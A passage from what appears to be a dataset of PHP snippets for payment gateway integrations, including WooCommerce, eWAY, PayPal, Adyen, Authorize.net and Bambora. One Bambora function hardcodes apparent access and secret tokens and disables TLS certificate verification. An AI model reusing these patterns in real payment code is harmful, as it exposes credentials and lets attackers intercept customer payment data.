);\n\t\t\t$this->instructions = $this->get_option( 'instructions', $this->description );\n\t\t\t$this->order_status = $this->get_option( 'order_status', 'completed' );\n\n\t\t\t// Actions\n\t\t\tadd_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array(\n\t\t\t\t$this,\n\t\t\t\t'process_admin_options'\n\t\t\t) );\n\t\t\tadd_action( 'woocommerce_thankyou_custom', array( $this, 'thankyou_page' ) );\n\n\t\t\t// Customer Emails\n\t\t\tadd_action( 'woocommerce_email_before_order_table', array( $this, 'email_instructions' ), 10, 3 );\n\t\t}", "protected function makePayment(){\n\t \n $receiver = Input::get('number');\n $amounttosend = Input::get('amount');\n $currency = Input::get('currency');\n $destinationProvider = Input::get('target');\n $charges = new PlatformCharges($amounttosend, $currency, $destinationProvider);\n $desc = $charges->getReceiverType($destinationProvider);\n $user = User::find(Auth::user()->id);\n \n $transaction = [\n 'Customer' => [\n 'FirstName' => Auth::user()->name,\n 'Street1' => 'Level 5',\n 'Country' => 'US',\n 'Mobile' => Auth::user()->number,\n 'Email' => Auth::user()->email\n ],\n 'Items' => [\n [\n 'SKU' => mt_rand(),\n 'Description' => 'Hybrid Transfer from EWAY to '.$desc.' user',\n 'Quantity' => 1,\n 'UnitCost' => $charges->convertCurrency($currency, 'AUD',$charges->getDueAmount('ew', $destinationProvider)),\n 'Tax' => 100, //$1 applied as charge to every transaction irrespective of the amount transfered\n // Total is calculated automatically\n ]\n ],\n 'Options' => [\n [\n 'Value' => $desc,//Receipient's payement system\n ],\n [\n 'Value' => $receiver, //receiver's details to which to make the due transfer\n ],\n [\n 'Value' => 'AUD', // currency used to make the transfer when sending to the receipient\n ],\n [\n 'Value' =>(0.01 * $amounttosend)\n ]\n ],\n 'Payment' => [\n 'TotalAmount' => $charges->convertCurrency($currency, 'AUD',$charges->getDueAmount('ew', $destinationProvider)) * 100, //$amounttosend,\n 'CurrencyCode' => 'AUD'\n ],\n 'Method' => 'ProcessPayment',\n 'RedirectUrl' => URL::route('dashboard').'/ewayconfirm',\n 'CancelUrl' => URL::route('dashboard').'/ewaycancel',\n 'PartnerID' => EwayController::$_EWAY_CUSTOMER_ID,\n 'TransactionType' => \\Eway\\Rapid\\Enum\\TransactionType::PURCHASE, //normally would be PURCHASE. Modes are MOTO, Recurring\n 'Capture' => true,\n 'LogoUrl' => 'https://izepay.iceteck.com/public/images/logo.png',\n 'HeaderText' => 'Izepay Money Transfer',\n 'Language' => 'EN',\n 'CustomView' => 'BootstrapCerulean', //Bootstrap, BootstrapAmelia, BootstrapCerulean, BootstrapCosmo, BootstrapCyborg, BootstrapFlatly, BootstrapJournal, BootstrapReadable, BootstrapSimplex, BootstrapSlate, BootstrapSpacelab, BootstrapUnited\n 'VerifyCustomerEmail' => true,\n 'Capture' => true,\n 'CustomerReadOnly' => false\n ];\n try{\n $response = $this->client->createTransaction(\\Eway\\Rapid\\Enum\\ApiMethod::RESPONSIVE_SHARED, $transaction);\n //var_dump($response);\n// echo $response->SharedPaymentUrl;\n //sleep(20);\n }catch(Exception $ex){\n return Redirect::route('dashboard')\n\t\t\t \t->with('alertError', 'Debug Error: '.$ex->getMessage());\n }\n //manage response\n \n if (!$response->getErrors()) {\n // Redirect to the Responsive Shared Page\n header('Location: '.$response->SharedPaymentUrl);\n //die();\n } else {\n foreach ($response->getErrors() as $error) {\n //echo \"Response Error: \".\\Eway\\Rapid::getMessage($error).\"<br>\";\n return Redirect::route('dashboard')\n\t\t\t \t ->with('alertError', 'Error! '.\\Eway\\Rapid::getMessage($error));\n }\n }\n\t}", "public function __construct() {\n\t\t$this->id = 'coinbase';\n\t\t$this->has_fields = false;\n\t\t$this->order_button_text = __( 'Proceed to Coinbase', 'coinbase' );\n\t\t$this->method_title = __( 'Coinbase', 'coinbase' );\n\t\t$this->method_description = '<p>' .\n\t\t\t// translators: Introduction text at top of Coinbase Commerce settings page.\n\t\t\t__( 'A payment gateway that sends your customers to Coinbase Commerce to pay with cryptocurrency.', 'coinbase' )\n\t\t\t. '</p><p>' .\n\t\t\tsprintf(\n\t\t\t\t// translators: Introduction text at top of Coinbase Commerce settings page. Includes external URL.\n\t\t\t\t__( 'If you do not currently have a Coinbase Commerce account, you can set one up here: %s', 'coinbase' ),\n\t\t\t\t'<a target=\"_blank\" href=\"https://commerce.coinbase.com/\">https://commerce.coinbase.com/</a>'\n\t\t\t);\n\n\t\t// Timeout after 3 days. Default to 3 days as pending Bitcoin txns\n\t\t// are usually forgotten after 2-3 days.\n\t\t$this->timeout = ( new WC_DateTime() )->sub( new DateInterval( 'P3D' ) );\n\n\t\t// Load the settings.\n\t\t$this->init_form_fields();\n\t\t$this->init_settings();\n\n\t\t// Define user set variables.\n\t\t$this->title = $this->get_option( 'title' );\n\t\t$this->description = $this->get_option( 'description' );\n\t\t$this->debug = 'yes' === $this->get_option( 'debug', 'no' );\n\n\t\tself::$log_enabled = $this->debug;\n\n\t\tadd_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );\n\t\tadd_filter( 'woocommerce_order_data_store_cpt_get_orders_query', array( $this, '_custom_query_var' ), 10, 2 );\n\t\tadd_action( 'woocommerce_api_wc_gateway_coinbase', array( $this, 'handle_webhook' ) );\n\t}", "function genie_cashbox_gateway_init() {\n // it means WooCommerce is not installed on the site\n // so do nothing\n if ( ! class_exists( 'WC_Payment_Gateway' ) ) return;\n\n // If we made it this far, then include our Gateway Class\n include_once( 'woocommerce-genie-cashbox.php' );\n\n // Now that we have successfully included our class,\n // Lets add it too WooCommerce\n add_filter( 'woocommerce_payment_gateways', 'add_genie_cashbox_gateway' );\n function add_genie_cashbox_gateway( $methods ) {\n $methods[] = 'Genie_Cashbox';\n return $methods;\n }\n}", "public function __construct()\n {\n $this->name = 'pigmbhpaymill';\n $this->tab = 'payments_gateways';\n $this->version = '1.0.4';\n $this->author = 'PayIntelligent GmbH';\n $this->need_instance = 0;\n $this->currencies = true;\n\t$this->currencies_mode = 'checkbox';\n\n parent::__construct();\n $this->loadConfiguration();\n $this->displayName = $this->l('PigmbhPaymill');\n $this->description = $this->l('Payment via Paymill.');\n }", "function setGateway($gateway = NULL) {\n\t\t\t//set the gateway property\n\t\t\tif(isset($gateway)) {\n\t\t\t\t$this->gateway = $gateway;\n\t\t\t}\n\n\t\t\t//which one to load?\n\t\t\t$classname = \"PMProGateway\";\t//default test gateway\n\t\t\tif(!empty($this->gateway) && $this->gateway != \"free\") {\n\t\t\t\t$classname .= \"_\" . $this->gateway;\t//adding the gateway suffix\n\t\t\t}\n\n\t\t\tif(class_exists($classname) && isset($this->gateway)) {\n\t\t\t\t$this->Gateway = new $classname($this->gateway);\n\t\t\t} else {\n\t\t\t\t$this->Gateway = null;\t//null out any current gateway\n\t\t\t\t$error = new WP_Error(\"PMPro1001\", \"Could not locate the gateway class file with class name = \" . $classname . \".\");\n\t\t\t}\n\n\t\t\tif(!empty($this->Gateway)) {\n\t\t\t\treturn $this->Gateway;\n\t\t\t} else {\n\t\t\t\t//gateway wasn't setup\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}", "public function __construct( GatewayInitializer $gateway )\n {\n $this->gateway = $gateway->init();\n }", "public function create()\n {\n if (! Gate::allows('payment_gateway_create')) {\n return prepareBlockUserMessage();\n }\n return view('admin.payment_gateways.create');\n }", "public function setGateway($name)\n {\n $this->gateway = $name;\n\n return $this;\n }", "function woocommerce_add_paycoingateway_gateway($methods) {\n\t\t\t$methods[] = 'WC_Gateway_PaycoinGateway';\n\t\t\treturn $methods;\n\t\t}", "protected function _get_configuration(){\n\n return new Payment_Configuration();\n\n }", "public function __construct() {\n \n $this->id = 'wcpg-pay-on-credit'; // payment gateway plugin ID\n $this->icon = ''; // URL of the icon that will be displayed on checkout page near your gateway name\n $this->has_fields = true; // in case you need a custom credit card form\n $this->method_title = 'Pay On Credit Gateway';\n $this->method_description = 'Pay on credit gateway'; // will be displayed on the options page\n $this->domain = 'wcpg-pay-on-credit';\n \n // gateways can support subscriptions, refunds, saved payment methods,\n // but in this tutorial we begin with simple payments\n $this->supports = array(\n 'products'\n );\n\n\n // Define \"payment duration\" radio buttons options field\n $this->options = array(\n '4' => __( '4 Months Payment', $this->domain ),\n '6' => __( '6 Months Payment', $this->domain ),\n ); \n \n // Method with all the options fields\n $this->init_form_fields();\n \n // Load the settings.\n $this->init_settings();\n $this->title = $this->get_option( 'title' );\n $this->description = $this->get_option( 'description' );\n $this->instructions = $this->get_option( 'instructions' );\n $this->order_status = $this->get_option( 'order_status' );\n $this->status_text = $this->get_option( 'status_text' );\n $this->enabled = $this->get_option( 'enabled' );\n \n // This action hook saves the settings\n add_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );\n add_action( 'woocommerce_checkout_create_order', array( $this, 'save_order_payment_type_meta_data' ), 10, 2 );\n add_filter( 'woocommerce_get_order_item_totals', array( $this, 'display_payment_duration_order_item_totals'), 10, 3 );\n add_action( 'woocommerce_admin_order_data_after_billing_address', array( $this, 'display_payment_type_order_edit_pages'), 10, 1 );\n add_action( 'woocommerce_thankyou_' . $this->id, array( $this, 'thankyou_page' ) );\n\n // Customer Emails\n add_action( 'woocommerce_email_before_order_table', array( $this, 'email_instructions' ), 10, 3 ); \n \n // We need custom JavaScript to obtain a token\n add_action( 'wp_enqueue_scripts', array( $this, 'payment_scripts' ) );\n \n \n \t\t}", "public function testCoinmarketcapGatewayInstance()\n {\n $this->assertInstanceOf(GatewayInterface::class, $this->app[CoinmarketcapGateway::class]);\n $this->assertObjectHasAttribute('endpoint', $this->app[CoinmarketcapGateway::class]);\n }", "public static function make($merchantid, $fieldValues)\n\t{\n\t\t$request = new Dragon_RequestPayment($merchantid);\n\t\tRequestForm::render($fieldValues, self::$paymentUrl);\n\t}", "abstract public function initializePayment($request_body);", "public function store(Request $request)\n {\n $action = \"ADD MERCHANT\";\n // Validating request\n $request->validate([\n 'name' => 'required|string',\n 'slug' => 'required|string',\n 'account_no' => 'required|string|unique:merchants',\n// 'app_key' => 'required|string',\n// 'app_secret' => 'required|string',\n// 'bkash_username' => 'required|string',\n// 'bkash_password' => 'required|string',\n 'status' => 'required|string'\n ]);\n\n // Validation passed\n try {\n $merchant = new Merchant();\n $merchant->name = strip_tags($request->get('name'));\n $merchant->slug = strip_tags($request->get('slug'));\n $merchant->account_no = strip_tags($request->get('account_no'));\n// $merchant->app_key = strip_tags($request->get('app_key'));\n// $merchant->app_secret = Crypt::encrypt(strip_tags($request->get('app_secret')));\n// $merchant->bkash_username = strip_tags($request->get('bkash_username'));\n// $merchant->bkash_password = Crypt::encrypt(strip_tags($request->get('bkash_password')));\n $merchant->status = $request->get('status');\n\n $merchant->save();\n if ($merchant) {\n $this->lg('Merchant created successfully, merchant: ' . json_encode($merchant), 'info', $action, 201);\n return response()->json($merchant, 201);\n } else {\n $this->lg('Merchant cannot be added now, try contacting admin', 'warning', $action, 422);\n return response()->json('Merchant cannot be added now, try contacting admin', 422);\n }\n } catch (\\Exception $e) {\n $this->lg($e, 'error', $action, 500);\n return response()->json($this->experDifficulties, 500);\n }\n }", "function setUpPayments() {\n $engine = defined('DB_CAN_TRANSACT') && DB_CAN_TRANSACT ? 'InnoDB' : 'MyISAM';\n\n try {\n DB::execute(\"CREATE TABLE \" . TABLE_PREFIX . \"payment_gateways (\n id int unsigned NOT NULL auto_increment,\n type varchar(50) NOT NULL DEFAULT 'ApplicationObject',\n raw_additional_properties longtext,\n is_default tinyint(1) unsigned NOT NULL DEFAULT '0',\n PRIMARY KEY (id),\n INDEX type (type)\n ) ENGINE=$engine DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci\");\n\n DB::execute(\"CREATE TABLE \" . TABLE_PREFIX . \"payments (\n id int unsigned NOT NULL auto_increment,\n type varchar(50) NOT NULL DEFAULT 'ApplicationObject',\n parent_type varchar(50) DEFAULT NULL,\n parent_id int unsigned NULL DEFAULT NULL,\n amount decimal(12, 3) DEFAULT 0,\n currency_id int(5) NULL DEFAULT NULL,\n gateway_type varchar(50) DEFAULT NULL,\n gateway_id int(10) unsigned NULL DEFAULT NULL,\n status enum('Paid', 'Pending', 'Deleted', 'Canceled') DEFAULT NULL,\n reason enum('Fraud', 'Refund', 'Other') DEFAULT NULL,\n reason_text text,\n created_by_id int(10) unsigned NULL DEFAULT NULL,\n created_by_name varchar(100) DEFAULT NULL,\n created_by_email varchar(150) DEFAULT NULL,\n created_on datetime DEFAULT NULL,\n paid_on date DEFAULT NULL,\n comment text,\n raw_additional_properties longtext,\n PRIMARY KEY (id),\n INDEX type (type),\n INDEX parent (parent_type, parent_id),\n INDEX created_by_id (created_by_id),\n INDEX currency_id (currency_id),\n INDEX status (status),\n INDEX created_on (created_on),\n INDEX paid_on (paid_on)\n ) ENGINE=$engine DEFAULT CHARSET=utf8 COLLATE=utf8_general_ci\");\n\n DB::execute('INSERT INTO ' . TABLE_PREFIX . 'config_options (name, module, value) VALUES (?, ?, ?)', 'allow_payments', 'payments', serialize(false));\n DB::execute('INSERT INTO ' . TABLE_PREFIX . 'config_options (name, module, value) VALUES (?, ?, ?)', 'allow_payments_for_invoice', 'payments', serialize(true));\n } catch(Exception $e) {\n return $e->getMessage();\n } // try\n\n return true;\n }", "public function getGatewayUrl() {\n\t\t\tif(Mage::getStoreConfig('payment/acimpro/checkout_mode'))\n\t\t\t{\n\t\t\t\treturn 'https://api.authorize.net/xml/v1/request.api';\n\t\t\t\t\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\treturn 'https://apitest.authorize.net/xml/v1/request.api';\n\t\t\t}\n\t\t}", "function __construct()\n {\n //include_once(__DIR__ . '/Assets/nusoap.php');\n\n\n $this->merchant_id = config('saderat.merchant_id');\n $this->terminal_id = config('saderat.terminal_id');\n // set default invoice number\n $this->setInvoiceNumber(static::uniqueID());\n\n /**\n * get key resource to start based on public key\n */\n if (!$public_key = @file_get_contents(__DIR__ . '/Assets/merchant_public_key.txt'))\n throw new \\Exception('خطای دریافت کلید عمومی');\n\n if (!config()->has('saderat.private_key'))\n throw new \\Exception('تنظیمات مربوط به کلید خصوصی یافت نشد.');\n\n $this->private_key =\n '-----BEGIN PRIVATE KEY-----' . PHP_EOL .\n trim(config('saderat.private_key')) . PHP_EOL .\n '-----END PRIVATE KEY-----';\n\n $this->key_resource = openssl_get_publickey($public_key);\n }", "public function createTransferPayment(Request $request);", "public function create_plan($requestData){\n \n // ### Create Plan\n try {\n // Create a new instance of Plan object\n $plan = new Plan();\n if(isset($requestData['plan'])){\n $this->setArrayToMethods($this->checkEmptyObject($requestData['plan']), $plan);\n } \n // # Payment definitions for this billing plan.\n $paymentDefinition = new PaymentDefinition(); \n $paymentDefinition\n ->setAmount(new Currency($requestData['paymentDefinition']['Amount']));\n array_pop($requestData['paymentDefinition']);\n if(!empty($this->checkEmptyObject((array)$paymentDefinition))){\n $this->setArrayToMethods(array_filter($requestData['paymentDefinition']), $paymentDefinition); \n }\n \n // Charge Models\n $chargeModel = new ChargeModel();\n $chargeModel->setAmount(new Currency($requestData['chargeModel']['Amount']));\n array_pop($requestData['chargeModel']);\n if(!empty($this->checkEmptyObject((array)$chargeModel))){\n $this->setArrayToMethods(array_filter($requestData['chargeModel']), $chargeModel); \n $paymentDefinition->setChargeModels(array($chargeModel));\n }\n \n $merchantPreferences = new MerchantPreferences();\n $baseUrl = $requestData['baseUrl'];\n\n $merchantPreferences->setReturnUrl($baseUrl.$requestData['ReturnUrl'])\n ->setCancelUrl($baseUrl.$requestData['CancelUrl']);\n if(!empty($this->checkEmptyObject($requestData['merchant_preferences']['SetupFee']))){\n $merchantPreferences->setSetupFee(new Currency($requestData['merchant_preferences']['SetupFee']));\n }\n array_pop($requestData['merchant_preferences']);\n \n if(isset($requestData['merchant_preferences'])){\n $this->setArrayToMethods($this->checkEmptyObject($requestData['merchant_preferences']), $merchantPreferences);\n }\n if(!empty($this->checkEmptyObject((array)$paymentDefinition))){\n $plan->setPaymentDefinitions(array($paymentDefinition));\n }\n if(!empty($this->checkEmptyObject((array)$merchantPreferences))){\n $plan->setMerchantPreferences($merchantPreferences);\n } \n $requestArray= clone $plan;\n $output = $plan->create($this->_api_context); \n $returnArray['RESULT'] = 'Success';\n $returnArray['PLAN'] = $output->toArray();\n $returnArray['RAWREQUEST']=$requestArray->toJSON();\n $returnArray['RAWRESPONSE']=$output->toJSON();\n return $returnArray; \n } catch (\\PayPal\\Exception\\PayPalConnectionException $ex) {\n return $this->createErrorResponse($ex);\n }\n }", "public function gETAdyenPaymentIdPaymentGatewayRequest($adyen_payment_id)\n {\n // verify the required parameter 'adyen_payment_id' is set\n if ($adyen_payment_id === null || (is_array($adyen_payment_id) && count($adyen_payment_id) === 0)) {\n throw new \\InvalidArgumentException(\n 'Missing the required parameter $adyen_payment_id when calling gETAdyenPaymentIdPaymentGateway'\n );\n }\n\n $resourcePath = '/adyen_payments/{adyenPaymentId}/payment_gateway';\n $formParams = [];\n $queryParams = [];\n $headerParams = [];\n $httpBody = '';\n $multipart = false;\n\n\n\n // path params\n if ($adyen_payment_id !== null) {\n $resourcePath = str_replace(\n '{' . 'adyenPaymentId' . '}',\n ObjectSerializer::toPathValue($adyen_payment_id),\n $resourcePath\n );\n }\n\n\n if ($multipart) {\n $headers = $this->headerSelector->selectHeadersForMultipart(\n []\n );\n } else {\n $headers = $this->headerSelector->selectHeaders(\n [],\n []\n );\n }\n\n // for model (json/xml)\n if (count($formParams) > 0) {\n if ($multipart) {\n $multipartContents = [];\n foreach ($formParams as $formParamName => $formParamValue) {\n $formParamValueItems = is_array($formParamValue) ? $formParamValue : [$formParamValue];\n foreach ($formParamValueItems as $formParamValueItem) {\n $multipartContents[] = [\n 'name' => $formParamName,\n 'contents' => $formParamValueItem\n ];\n }\n }\n // for HTTP post (form)\n $httpBody = new MultipartStream($multipartContents);\n\n } elseif ($headers['Content-Type'] === 'application/json') {\n $httpBody = \\GuzzleHttp\\json_encode($formParams);\n\n } else {\n // for HTTP post (form)\n $httpBody = \\GuzzleHttp\\Psr7\\build_query($formParams);\n }\n }\n\n\n $defaultHeaders = [];\n if ($this->config->getUserAgent()) {\n $defaultHeaders['User-Agent'] = $this->config->getUserAgent();\n }\n\n $headers = array_merge(\n $defaultHeaders,\n $headerParams,\n $headers\n );\n\n $query = \\GuzzleHttp\\Psr7\\build_query($queryParams);\n return new Request(\n 'GET',\n $this->config->getHost() . $resourcePath . ($query ? \"?{$query}\" : ''),\n $headers,\n $httpBody\n );\n }", "public function __construct(PaymentGatewayInterface $paymentGateway)\n {\n $this->paymentGateway = $paymentGateway;\n }", "public function __construct() {\n\t\t\tglobal $woocommerce;\n\t\t\t$this->id = 'esewa';\n\t\t\t$this->method_title = __( 'eSewa', 'esewa-payment-gateway-for-woocommerce' );\n\t\t\t$this->method_description = __( 'eSewa Description', 'esewa-payment-gateway-for-woocommerce' );\n\t\t\t$this->icon = apply_filters( 'woocommerce_esewa_icon', WP_PLUGIN_URL . '/' . plugin_basename( dirname( __FILE__ ) ) . '/images/esewa.png' );\n\t\t\t$this->has_fields = false;\n\n\t\t\t// Load settings.\n\t\t\t$this->init_form_fields();\n\t\t\t$this->init_settings();\n\n\t\t\t// Define user set variables.\n\t\t\t$this->title = $this->get_option( 'title' );\n\t\t\t$this->description = $this->get_option( 'description' );\n\t\t\t$this->liveurl = 'https://esewa.com.np/epay/main';\n\t\t\t$this->testurl = 'https://dev.esewa.com.np/epay/main';\n\t\t\t$this->liveurl_verification = 'https://esewa.com.np/epay/transrec';\n\t\t\t$this->testurl_verification = 'https://dev.esewa.com.np/epay/transrec';\n\t\t\t$this->merchant = $this->get_option( 'merchant' );\n\t\t\t$this->testmode = $this->get_option( 'testmode' );\n\t\t\t$this->debug = $this->get_option( 'debug' );\n\n\t\t\t// Logs.\n\t\t\tif ( 'yes' === $this->debug ) {\n\t\t\t\t$this->log = new WC_Logger();\n\t\t\t}\n\n\t\t\t// Actions.\n\t\t\tadd_action( 'valid-esewa-standard-response', array( $this, 'successful_request' ) );\n\t\t\tadd_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );\n\t\t\tadd_action( 'woocommerce_receipt_esewa', array( $this, 'receipt_page' ) );\n\t\t\tadd_action( 'woocommerce_thankyou_esewa', array( $this, 'thankyou_page' ) );\n\n\t\t\t// Customer Emails.\n\t\t\tadd_action( 'woocommerce_email_before_order_table', array( $this, 'email_instructions' ), 10, 2 );\n\n\t\t\t// Payment listener/API hook.\n\t\t\tadd_action( 'woocommerce_api_wc_gateway_esewa', array( $this, 'check_esewa_response' ) );\n\n\t\t\tif ( ! $this->is_valid_for_use() ) {\n\t\t\t\t$this->enabled = false;\n\t\t\t}\n\t\t}", "public function __construct()\n {\n $this->url = Config::get('wazaar.API_URL');\n $this->payment = app()->make('Cocorium\\Payment\\PaymentInterface');\n }", "public function build(\n $merchantCode,\n $orderCode,\n $orderDescription,\n $currencyCode,\n $amount,\n $paymentDetails,\n $cardAddress,\n $shopperEmail,\n $acceptHeader,\n $userAgentHeader,\n $shippingAddress,\n $billingAddress,\n $shopperId\n ) {\n $this->merchantCode = $merchantCode;\n $this->orderCode = $orderCode;\n $this->orderDescription = $orderDescription;\n $this->currencyCode = $currencyCode;\n $this->amount = $amount;\n $this->paymentDetails = $paymentDetails;\n $this->cardAddress = $cardAddress;\n $this->shopperEmail = $shopperEmail;\n $this->acceptHeader = $acceptHeader;\n $this->userAgentHeader = $userAgentHeader;\n $this->shippingAddress = $shippingAddress;\n $this->billingAddress = $billingAddress;\n $this->shopperId = $shopperId;\n\n $xml = new \\SimpleXMLElement(self::ROOT_ELEMENT);\n $xml['merchantCode'] = $this->merchantCode;\n $xml['version'] = '1.4';\n\n $submit = $this->_addSubmitElement($xml);\n $this->_addOrderElement($submit);\n\n return $xml;\n }", "public function __construct() {\n\n // WPML + Multi Currency related settings\n $this->current_currency = get_option('woocommerce_currency');\n // $this->multi_currency_enabled = in_array( 'woocommerce-multilingual/wpml-woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) && get_option( 'icl_enable_multi_currency' ) == 'yes';\n $this->supported_currencies = array( 'RMB', 'CNY' );\n\n $this->charset = strtolower( get_bloginfo( 'charset' ) );\n if( !in_array( $this->charset, array( 'gbk', 'utf-8') ) ) {\n $this->charset = 'utf-8';\n }\n\n // WooCommerce required settings\n $this->id = 'bocpay';\n $this->icon = apply_filters( 'woocommerce_bocpay_icon', plugins_url( 'images/boc-logo.png', __FILE__ ) );\n $this->has_fields = false;\n $this->method_title = '交通银行支付';\n $this->order_button_text = '使用交通银行支付';\n $this->notify_url = WC()->api_request_url( 'WC_Bocpay' );\n\n // Load the settings.\n $this->init_form_fields();\n $this->init_settings();\n\n $this->merchantID = $this->get_option( 'merchantID' );\n $this->title = $this->get_option( 'title' );\n $this->description = $this->get_option( 'description' );\n $this->debug = $this->get_option( 'debug' );\n\n // Logs\n $this->debug = 'yes';\n if ( 'yes' == $this->debug ) {\n $this->log = new WC_Logger();\n }\n\n // Actions\n add_action( 'woocommerce_update_options_payment_gateways', array( $this, 'process_admin_options' ) ); // WC <= 1.6.6\n add_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) ); // WC >= 2.0\n add_action( 'woocommerce_thankyou_bocpay', array( $this, 'thankyou_page' ) );\n add_action( 'woocommerce_receipt_bocpay', array( $this, 'receipt_page' ) );\n\n // Payment listener/API hook\n add_action( 'woocommerce_api_wc_bocpay', array( $this, 'check_bocpay_response' ) );\n\n // Display Bocpay Trade No. in the backend.\n add_action( 'woocommerce_admin_order_data_after_billing_address',array( $this, 'wc_bocpay_display_order_meta_for_admin' ) );\n }", "public function __construct()\n {\n parent::__construct(new WalletType);\n }", "private function setMerchantD()\n {\n $this->mid = config('gladepay.mid');\n }", "function makePayment($arr) {\n\t$accessToken = \"eYgzn2wfvScb1aIf3QLs\";\n\t$merchantNumber = \"T511564901\";\n\t$secretToken = \"1qcvgmCNmSvP1ikAG38uSoAPr7ePByuMcWuMWKsa\";\n\n\t$apiKey = base64_encode(\n\t\t$accessToken . \"@\" . $merchantNumber . \":\" . $secretToken\n\t);\n\n\t$checkoutUrl = \"https://api.v1.checkout.bambora.com/sessions\";\n\n\t$request = array();\n\t$request[\"order\"] = array();\n\t$request[\"order\"][\"id\"] = $arr['orderID'];\n\t$request[\"order\"][\"amount\"] = $arr['amount'];\n\t$request[\"order\"][\"currency\"] = \"NOK\";\n\n\t$request[\"url\"] = array();\n\t$request[\"url\"][\"accept\"] = $arr['acceptURL'];\n\t$request[\"url\"][\"cancel\"] = $arr['cancelURL'];\n\t$request[\"url\"][\"callbacks\"] = array();\n\t$request[\"url\"][\"callbacks\"][] = array(\"url\" => $arr['callbackURL']);\n\n\t$requestJson = json_encode($request);\n\n\t$contentLength = isset($requestJson) ? strlen($requestJson) : 0;\n\n\t$headers = array(\n\t\t'Content-Type: application/json',\n\t\t'Content-Length: ' . $contentLength,\n\t\t'Accept: application/json',\n\t\t'Authorization: Basic ' . $apiKey\n\t);\n\n\t$curl = curl_init();\n\n\tcurl_setopt($curl, CURLOPT_CUSTOMREQUEST, \"POST\");\n\tcurl_setopt($curl, CURLOPT_POSTFIELDS, $requestJson);\n\tcurl_setopt($curl, CURLOPT_URL, $checkoutUrl);\n\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n\tcurl_setopt($curl, CURLOPT_HTTPHEADER, $headers);\n\tcurl_setopt($curl, CURLOPT_FAILONERROR, false);\n\tcurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\n\n\t$rawResponse = curl_exec($curl);\n\t$response = json_decode($rawResponse);\n\t\n\treturn $response;\n}", "public function __construct() {\n\t\t\t\t$this->id = 'havanao';\n\t\t\t\t$this->icon = apply_filters( 'woocommerce_havanao_icon', '' );\n\t\t\t\t$this->has_fields = true;\n\t\t\t\t$this->method_title = __( 'Havanao Payments', 'havanao' );\n\t\t\t\t$this->method_description = __( '', 'havanao' );\n\n\t\t\t\t// Define havanao specific configuration\n\t\t\t\tif ( 'yes' == $this->get_option( 'test_enabled' ) ) {\n\t\t\t\t\t$this->gateway_url = 'https://api.havanao.com/api/sale/purchase';\n\t\t\t\t} else {\n\t\t\t\t\t$this->gateway_url = 'https://api.havanao.com/api/sale/purchase';\n\t\t\t\t}\n\n\t\t\t\t$this->havanao_api_key = $this->get_option( 'havanao_api_key' );\n\t\t\t\t$this->consumer_secret = $this->get_option( 'consumer_secret' );\n\t\t\t\t\t\t\t\t\n\t\t\t\t$this->callBackURL = add_query_arg( 'wc-api', 'WC_Callback_Gateway', home_url( '/' ) );\n\n\t\t\t\t// Load the settings.\n\t\t\t\t$this->init_form_fields();\n\t\t\t\t$this->init_settings();\n\n\t\t\t\t// Define user set variables\n\t\t\t\t$this->title = $this->get_option( 'title' );\n\t\t\t\t$this->description = $this->get_option( 'description' );\n\t\t\t\t$this->instructions = $this->get_option( 'instructions' );\n\n\t\t\t\t// Actions\n\t\t\t\tadd_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );\n\t\t\t\tadd_action( 'woocommerce_thankyou_havanao', array( $this, 'thankyou_page' ) );\n\n\t\t\t\t// Customer Emails\n\t\t\t\tadd_action( 'woocommerce_email_before_order_table', array( $this, 'email_instructions' ), 10, 3 );\n\n\t\t\t\t// The end-point that receives the response of the transaction\n\t\t\t\tadd_action( 'woocommerce_api_wc_callback_gateway', array( $this, 'handle_result' ) );\n\t\t\t}", "private function generateDefaultBillingWithReservation() {\n return new Billing();\n }", "public static function redirectToGateway(array $params)\n {\n // Create Payment Record in the database before instantiating request\n $payment = \\App\\PaymentProcessor\\Traits\\CreatePayment::init($params['amount'], $params['payment_channel'], $params['payment_for'], $params['unique_id'], $params['return_route_name'], $params['meta_data']);\n\n // Determine payment channel\n if ($payment['payment_channel'] == Payment::PAYMENT_CHANNEL['paystack']) {\n return \\App\\PaymentProcessor\\Facades\\PaystackPayment::makePaymentRequest($payment);\n } elseif ($payment['payment_channel'] == Payment::PAYMENT_CHANNEL['flutterwave']) {\n// dd($payment);\n return FlutterwavePayment::makePaymentRequest($payment);\n } elseif ($payment['payment_channel'] == Payment::PAYMENT_CHANNEL['offline']) {\n // determine how to handle offline\n } elseif ($payment['payment_channel'] == Payment::PAYMENT_CHANNEL['wallet']) {\n // determine how to handle wallet payment\n return \\App\\Http\\Controllers\\Client\\Ewallet\\FundWalletController::payForServiceRequest($payment);\n } elseif ($payment['payment_channel'] == Payment::PAYMENT_CHANNEL['loyalty']) {\n # determine how to hanlde loyalty payment\n } else {\n \\Illuminate\\Support\\Facades\\Log::alert(request()->user()->id . 'attempted payment using a wrong payment channel', [\n 'id' => request()->user()->id,\n 'ip_address' => request()->ip(),\n 'url' => request()->fullUrl()\n ]);\n return abort('403', 'UNABLE TO DETERMINE PAYMENT CHANNEL');\n }\n }", "private function createIntegration($shop_domain, $accessToken, $merchant = null)\n {\n try {\n $shopifyIntegration = $this->integrations->findWhereFirst([\n 'slug' => 'shopify',\n 'status' => 1,\n ]);\n } catch (\\Exception $e) {\n // No Shopify integration\n }\n\n // Check Shopify integration status\n if (! isset($shopifyIntegration) || ! $shopifyIntegration) {\n return abort(500, 'An error has occurred while attempting to connect integration.');\n }\n\n // Get Shopify shop info\n try {\n $api = app('shopify_api')->setup();\n $api->setShop($shop_domain);\n $api->setAccessToken($accessToken);\n\n $shop = $api->rest('GET', '/admin/shop.json', [])->body->shop;\n } catch (\\Exception $e) {\n return abort(500, 'An error has occurred while attempting to get shop data.');\n }\n\n $email = $shop->email;\n\n // New merchant\n if (! $merchant) 